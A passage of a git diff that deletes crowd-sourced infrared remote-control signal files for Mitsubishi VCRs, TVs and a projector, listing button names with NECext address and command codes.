-address: 57 00 00 00 -command: 40 00 00 00 -# -name: VCRA_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 41 00 00 00 -# -name: VCR_ADJ_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 41 00 00 00 -# -name: VCR_ADJUST_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 41 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 43 00 00 00 -# -name: VCRA_S.(QUICK_VIEW) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 45 00 00 00 -# -name: VCRA_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 49 00 00 00 -# -name: VCR_ADJ_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 49 00 00 00 -# -name: VCR_ADJUST_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 49 00 00 00 -# -name: VCR_SCAN_REV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4B 00 00 00 -# -name: VCR_SCAN_REV_1/10 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4B 00 00 00 -# -name: VCR_SCAN_REV_1/30 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4B 00 00 00 -# -name: VCR_SCAN_REV_1/5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4B 00 00 00 -# -name: VCR_SCAN_FWD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4C 00 00 00 -# -name: VCR_SCAN_FWD_1/10 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4C 00 00 00 -# -name: VCR_SCAN_FWD_1/30 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4C 00 00 00 -# -name: VCR_SCAN_FWD_1/5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4C 00 00 00 -# -name: VCRA_S.(RE.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4D 00 00 00 -# -name: VCRA_AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: VCR_AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: VCR_FUNCTION_AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: VCRA_FUNC_AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: VCRA_MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 52 00 00 00 -# -name: VCR_MODE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 52 00 00 00 -# -name: VCR_MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 52 00 00 00 -# -name: VCRA_S.(F.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 55 00 00 00 -# -name: ADJUST_ON -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 56 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5B 00 00 00 -# -name: VCRA_S(RE.PLAY_BACK) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5C 00 00 00 -# -name: VCRA_SHU.FWD(NORMAL) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5C 00 00 00 -# -name: ADJUST_OFF -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 6B 00 00 00 -# -name: VCRA_S.(R.FAST_P.B.) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 6B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 6C 00 00 00 -# -name: VCR_ADJUST_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 73 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 73 00 00 00 -# -name: VCRA_JOG_REV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 73 00 00 00 -# -name: VCR_ADJUST_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 74 00 00 00 -# -name: VCRA_JOG_FWD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 74 00 00 00 -# -name: VCRA_S.(F.H.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 75 00 00 00 -# -name: VCRA_S.(R.H.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 7D 00 00 00 -# -name: VCRB_1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 80 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 80 00 00 00 -# -name: VCRB_9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 81 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 81 00 00 00 -# -name: VCRB_POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 82 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 82 00 00 00 -# -name: VCRB_PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 84 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 84 00 00 00 -# -name: VCRB_VCR/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 85 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 85 00 00 00 -# -name: VCRB_2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 88 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 88 00 00 00 -# -name: VCRB_0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 89 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 89 00 00 00 -# -name: VCRB_CHANNEL_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8A 00 00 00 -# -name: SCAN_^(CH_^) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8A 00 00 00 -# -name: VCRB_SCAN_^_(CH_^) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8A 00 00 00 -# -name: VCRB_CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8B 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8B 00 00 00 -# -name: VCRB_REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8C 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8C 00 00 00 -# -name: VCRB_INDEX_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8E 00 00 00 -# -name: INDEX_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8E 00 00 00 -# -name: VCRB_3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 90 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 90 00 00 00 -# -name: VCRB_CHANNEL_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 92 00 00 00 -# -name: SCAN_V(CH_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 92 00 00 00 -# -name: VCRB_SCAN_V_(CH_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 92 00 00 00 -# -name: VCRB_STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 94 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 94 00 00 00 -# -name: VCRB_INDEX_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 96 00 00 00 -# -name: INDEX_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 96 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 97 00 00 00 -# -name: VCRB_4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 98 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 98 00 00 00 -# -name: VCRB_INPUT_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9A 00 00 00 -# -name: INPUT_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9A 00 00 00 -# -name: VCRB_PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9C 00 00 00 -# -name: PAUSE/STILL_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9C 00 00 00 -# -name: VCRB_5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A0 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A0 00 00 00 -# -name: VCRB_VOL_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A2 00 00 00 -# -name: VCRB_FF_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A4 00 00 00 -# -name: FF/SRCH_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A4 00 00 00 -# -name: VCRB_QV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A5 00 00 00 -# -name: Q.V. -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A5 00 00 00 -# -name: VCRB_Q.V. -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A5 00 00 00 -# -name: VCRB_DISPLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A7 00 00 00 -# -name: DISP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A7 00 00 00 -# -name: VCRB_6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A8 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A8 00 00 00 -# -name: VCRB_VOL_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AA 00 00 00 -# -name: VCRB_REW_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AC 00 00 00 -# -name: REW/SRCH_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AC 00 00 00 -# -name: R.PLAY_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AD 00 00 00 -# -name: VCRB_OFF-T -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AF 00 00 00 -# -name: OFF-T_OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AF 00 00 00 -# -name: VCRB_OFF-T_OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AF 00 00 00 -# -name: VCRB_7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B0 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B0 00 00 00 -# -name: VCRB_MUTE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B2 00 00 00 -# -name: VCRB_QUICK_PROGRAM -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B3 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B4 00 00 00 -# -name: VCRB_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B5 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B5 00 00 00 -# -name: VCRB_8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B8 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B8 00 00 00 -# -name: ANT_A/B -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B9 00 00 00 -# -name: VCRB_INPUT_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: BA 00 00 00 -# -name: INPUT_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: BA 00 00 00 -# -name: VCRB_INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: BA 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: BD 00 00 00 -# -name: VCRB_VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C0 00 00 00 -# -name: VIDEO_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C0 00 00 00 -# -name: VCRB_FUNC_VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C0 00 00 00 -# -name: VCRB_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C1 00 00 00 -# -name: ADJ_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C1 00 00 00 -# -name: VCRB_S.(QUICH_VIEW) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C5 00 00 00 -# -name: VIDEO_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C8 00 00 00 -# -name: VCRB_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C9 00 00 00 -# -name: ADJ_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C9 00 00 00 -# -name: VCRB_S.(RE.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: CD 00 00 00 -# -name: VCRB_AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D0 00 00 00 -# -name: AUDIO_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D0 00 00 00 -# -name: VCRB_FUNC_AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D0 00 00 00 -# -name: VCRB_MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D2 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D2 00 00 00 -# -name: VCRB_S.(F.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D5 00 00 00 -# -name: AUDIO_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D8 00 00 00 -# -name: VCRB_S(RE.PLAY_BACK) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: DB 00 00 00 -# -name: VCRB_SHU.FWD(NORMAL) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: DC 00 00 00 -# -name: -2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: DF 00 00 00 -# -name: -5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: E6 00 00 00 -# -name: VCRB_S.(R.FAST_P.B.) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: EB 00 00 00 -# -name: -4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: EE 00 00 00 -# -name: VCRB_JOG_REV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: F3 00 00 00 -# -name: VCRB_JOG_FWD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: F4 00 00 00 -# -name: VCRB_S.(F.H.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: F5 00 00 00 -# -name: -1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: F7 00 00 00 -# -name: VCRB_S.(R.H.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: FD 00 00 00 -# -name: -3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir deleted file mode 100644 index f8001ddee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 01 00 00 00 -# -name: vcr_power -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 02 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: vcr/tv -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0B 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0C 00 00 00 -# -name: index+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: index- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 20 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 27 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 28 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 30 00 00 00 -# -name: quick_program -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 35 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 36 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 38 00 00 00 -# -name: x2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: sp/ep -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3E 00 00 00 -# -name: audio/video -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: adjust+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 41 00 00 00 -# -name: adjust- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 49 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 52 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir deleted file mode 100644 index 95fb28140..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PowerOn -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 41 00 00 00 -# -name: PowerOff -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 42 00 00 00 -# -name: Keystone -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 43 00 00 00 -# -name: Computer -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 60 00 00 00 -# -name: Component -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 64 00 00 00 -# -name: Video -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 65 00 00 00 -# -name: S-Video -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 66 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 70 00 00 00 -# -name: Left -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 80 00 00 00 -# -name: Right -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 81 00 00 00 -# -name: Up -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 82 00 00 00 -# -name: Down -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 83 00 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 86 00 00 00 -# -name: Enter -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 87 00 00 00 -# -name: AutoPosition -type: parsed -protocol: NECext -address: F0 00 00 00 -command: A2 00 00 00 -# -name: Blank -type: parsed -protocol: NECext -address: F0 00 00 00 -command: A6 00 00 00 -# -name: Contrast -type: parsed -protocol: NECext -address: F0 00 00 00 -command: D0 00 00 00 -# -name: Brightness -type: parsed -protocol: NECext -address: F0 00 00 00 -command: D1 00 00 00 -# -name: ColorTemp -type: parsed -protocol: NECext -address: F0 00 00 00 -command: D4 00 00 00 -# -name: Gamma -type: parsed -protocol: NECext -address: F0 00 00 00 -command: D5 00 00 00 -# -name: Sharpness -type: parsed -protocol: NECext -address: F0 00 00 00 -command: D6 00 00 00 -# -name: Aspect -type: parsed -protocol: NECext -address: F0 00 00 00 -command: E2 00 00 00 -# -name: M1 -type: parsed -protocol: NECext -address: F0 00 00 00 -command: E4 00 00 00 -# -name: M2 -type: parsed -protocol: NECext -address: F0 00 00 00 -command: E5 00 00 00 -# -name: M3 -type: parsed -protocol: NECext -address: F0 00 00 00 -command: E6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir deleted file mode 100644 index 05407c6ac..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 02 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0B 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0C 00 00 00 -# -name: COUNTER_MEMORY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0D 00 00 00 -# -name: INDEX_SEARCH+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: INDEX_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 15 00 00 00 -# -name: INDEX_SEARCH- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 17 00 00 00 -# -name: PROG_ON-OFF -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: PROG_REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1F 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: FAST_PLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: PROG_NBR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2B 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 34 00 00 00 -# -name: SKIP_SEARCH -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir deleted file mode 100644 index ac762a5ae..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: QV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: OFF-TIMER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 32 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: TURNRIGHT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: TURNLEFT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir deleted file mode 100644 index 3ae541ce5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir +++ /dev/null @@ -1,374 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: ST/MONO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 03 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 06 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: COLOUR-SELECT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0C 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0D 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: KEY_1- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: AUDIO-SELECT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 13 00 00 00 -# -name: HOLD -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 15 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: KEY_2- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 19 00 00 00 -# -name: CANCEL/TIME -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1D 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1E 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1F 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext 